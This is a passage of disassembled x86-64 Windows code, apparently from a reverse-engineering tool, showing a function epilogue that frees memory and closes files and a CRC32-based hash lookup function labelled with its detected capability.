mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18001fdf6
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x18001fde8
mov qword [rsi], rdi
mov rax, rbp
jmp 0x18001fdf8
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180028300
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x180028350
lea r11, [0x1800b3a10]
nop dword [rax]
cmp r9b, 0x23
jne 0x180028333
cmp byte [r8], r9b
jne 0x180028333
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180028320
mov rcx, qword [0x1801fe4c0]
not eax
movsxd rdx, dword [rcx + 0x4020]
mov r9, qword [rcx + 0x4028]
mov r10, rdx
shl r10, 4
add r10, r9
test rdx, rdx
je 0x1800283b1
nop word [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x1800283a9
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x1800283ac
mov rdx, r8
test rdx, rdx
jne 0x180028380
cmp r9, r10
je 0x1800283c0
cmp dword [r9], eax
jne 0x1800283c0
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret